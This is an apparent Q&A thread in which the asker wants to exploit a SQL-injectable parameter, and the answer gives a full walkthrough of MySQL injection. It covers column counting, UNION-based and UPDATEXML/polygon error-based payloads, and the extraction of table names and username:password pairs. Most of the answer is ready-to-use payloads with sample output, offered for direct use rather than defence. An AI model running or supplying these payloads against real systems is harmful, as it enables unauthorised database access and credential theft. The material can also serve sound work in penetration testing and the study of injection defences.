1

On my localhost I have a PHP link like this

abc.com/index.php?q=XYZ

where XYZ is a base64encoded parameter that I have verified is injectable. When I try abc.com/index.php?q=XYZ' it returns

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for

So probably the query is

`select * from TableName where q={QUERYPRAM`} or die(mysql_error());

How can I write my custom query here or get information since the output is actually in the die() function?

I normally use SQLMap for this function, but that is behaving very slow and closes request immediately.

4

You need to figure out if the parameter is being parsed as an integer or a string (most probably as string). If the query is balanced and successful, It won't die(). try ..

1' order by 1-- -

or ..

1 order by 1-- -

If the first one returns an error, that means the parameter is being parsed as an integer so you don't need a quote (') to perform the injection.

Now, there are many different ways to dump the data here. But I'd prefer the following two:

First:

You need to check how many columns are there in the query before the injection point. You can try the order by clause here. Start with the highest number. For example:

1' order by 1000-- -

It'll throw an error.

ERROR 1054 (42S22): Unknown column '1000' in 'order clause'

Now, start decreasing the count. You'll know the exact column count when the query is successful. Let's say there are 5 columns.

1' order by 5-- -

So, this won't throw an error.

Now, just append a UNION query with 5 columns and negate (and 0) the actual query.

1' and 0 UNION SELECT 1,2,3,4,5-- -

If everything goes right, you'll see the vulnerable columns on the page. Lets say the vulnerable column that appears on the page is '3'. You can dump the data in this column.

1' and 0 UNION SELECT 1,2,(SELECT version()),4,5-- -

or ..

1' and 0 UNION SELECT 1,2,(SELECT user()),4,5-- -

If MYSQL version is greater than 5, You can do this to dump the table names.

1' and 0 UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE table_schema=database()),4,5-- -

and so on ..

Second:

You can also dump the data in the error itself. There are many ways to do that but I prefer MYSQL XML functions.

1' and UPDATEXML(NULL,concat(0x3a,version()),NULL)-- -

This'll throw an error with MYSQL version.

ERROR 1105 (HY000): XPATH syntax error: ':5.5.47-0ubuntu0.14.04.1'

Then, you can use subqueries to get the data.

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 0,1) ),NULL)-- -

You'll get the first table name in the error.

ERROR 1105 (HY000): XPATH syntax error: ':FIRST_TABLE_NAME'

EDIT:

To get the Nth table_name, give an OFFSET in the LIMIT clause like LIMIT 0,1 .. LIMIT 1,1 .. LIMIT 2,1 .. LIMIT 3,1 and so on ..

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit 1,1) ),NULL)-- -

This'll show the second table name in the error.

ERROR 1105 (HY000): XPATH syntax error: ':SECOND_TABLE_NAME'

For Nth table_name:

1' and UPDATEXML(NULL,concat(0x3a, (SELECT table_name from information_schema.tables WHERE table_schema=database() limit N,1) ),NULL)-- -

Edit 2:

There's no need to dump data columns one by one. You can concat multiple columns like:

(SELECT concat(id, ':', username, ':', password) from users LIMIT 0,1)

Q: "can we dump or get all table names in one hit ?"

MYSQL Error has a character limit. This LIMIT varies from function to function. So far, the highest number of characters I've seen is by using the polygon() function. Here's an example query for MySQL version < 5.6.

1' and polygon((select*from(select*from(select concat((select group_concat(table_name) from information_schema.tables where table_schema=database())) as `` )``)``))-- -

Output:

Illegal non geometric '(select `` from (select '
FIRST_TABLE,SECOND_TABLE,THIRD_TABLE,FOURTH_TABLE,......
' value found during parsing

We can dump alot more data in UNION based SQL injection but in error based you cannot dump data more than the character limit of the MYSQL error.

Make sure you encode (BASE64) your payloads.

  • Khali thanks a billion for giving this detailed description, everything works fine, the only issue is that SELECT table_name FROM information_schema.tables WHERE table_schema=database() subquery returns more than 1 row, and by LIMIT 1 I can get only 1 table name, anyworkaround – Johnny Apr 22 '16 at 9:39
  • To get other table names try giving and OFFSET in LIMIT clause. like LIMIT 0,1 .. LIMIT 1,1 .. LIMIT 2,1 .. LIMIT 3,1 and so on .. – Mukarram Khalid Apr 22 '16 at 9:46
  • respect for sqlmap gone too high.. can we dump data as well or get all table names in one hit ? – Johnny Apr 22 '16 at 10:02
  • Getting data out of it seems to be a bummerr : Operand should contain 1 column(s) one by one – Johnny Apr 22 '16 at 10:10
  • 1
    It doesn't show the full output because of the character limit in MYSQL error. There's a work around where you can use SUBSTR() to get the chunks of data. See, there are so many ways to make this work that it can't be explained in one answer here. If you're a beginner, I'd suggest that you start with the basics of SQL language itself. I don't recommend sqlmap, I usually write my own scripts to automate the process and the country is Pakistan :). – Mukarram Khalid Apr 22 '16 at 10:43

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.